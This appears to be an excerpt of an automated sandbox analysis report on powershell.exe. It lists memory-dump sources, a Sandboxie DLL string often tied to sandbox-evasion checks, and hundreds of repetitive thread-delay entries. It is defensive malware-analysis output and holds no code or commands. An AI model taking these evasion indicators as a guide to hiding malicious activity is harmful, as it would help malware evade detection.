Source: powershell.exe, 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026301211000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591815	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591578	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591439	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591073	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590969	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590859	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590484	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590372	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590266	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590156	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590040	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589813	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589671	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589559	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589453	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589343	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589234	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588907	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592137
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592017
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591902
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591793
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591687
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591567
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591438
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590891
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590781
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590672
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590403
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590295
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590187
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590075
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589844
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589729
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589618
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589186
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589078
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591860
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591612
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591235
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591015
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590870
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590656
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590396
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590168
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590062
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589836
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589734
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589625
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589139
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589031
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588921
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588812
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588703
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588593
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591636	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591515	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591406	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591281	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591171	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591062	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590948	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590828	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590718	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590606	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590496	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590359	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590247	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590138	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589881	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589640	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589520	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589374	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589249	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589139	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589030	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588921	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588812	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588703	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588592	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588483	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588196	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587851	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587493	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587375	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587264	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592063
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591813
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591688
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591454
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591110
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590860
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590592
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589906
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589684
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589547
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589422
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588023
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587665
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587562
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591717
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591499
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591385
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591046
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590900
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590686
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590426
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590199
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589867
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589542
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589280
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589170
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589061
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588952
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588843
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588733
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588624
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588513
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591890
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591769
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591523
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591407
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591281
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591170
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591041
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590827
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590567
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590452
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590340
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590234
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590124
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589906
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589796
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589683
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589546
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589311
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589202
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588874
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588764
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591985
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591871
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591762
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591406
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591296
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591073
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590953
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590844
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590731
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590622
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590485
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589766
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589645
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589375
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589264
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589046
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588937
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588718
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588321
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588156
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587641
